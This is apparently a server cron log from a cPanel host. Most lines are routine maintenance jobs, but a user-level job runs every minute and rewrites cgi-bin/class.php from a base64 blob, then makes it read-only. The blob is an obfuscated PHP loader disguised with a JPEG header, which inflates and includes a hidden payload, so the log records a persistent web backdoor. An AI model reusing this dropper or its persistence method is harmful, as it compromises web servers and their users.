Nov 14 02:25:01 server CROND[4052]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:25:01 server CROND[4053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:25:01 server CROND[4051]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:26:01 server CROND[5063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:27:01 server CROND[5985]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 02:27:01 server CROND[5986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:28:01 server CROND[6838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:29:01 server CROND[7700]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:30:01 server CROND[8560]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:30:01 server CROND[8561]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 02:30:01 server CROND[8563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:30:01 server CROND[8565]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:31:01 server CROND[9033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:32:01 server CROND[10004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:33:01 server CROND[10868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:34:01 server CROND[11781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:35:01 server CROND[12530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:35:01 server CROND[12529]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 02:35:01 server CROND[12528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:35:01 server CROND[12532]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 02:35:01 server CROND[12531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:36:01 server CROND[13389]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:37:01 server CROND[14346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
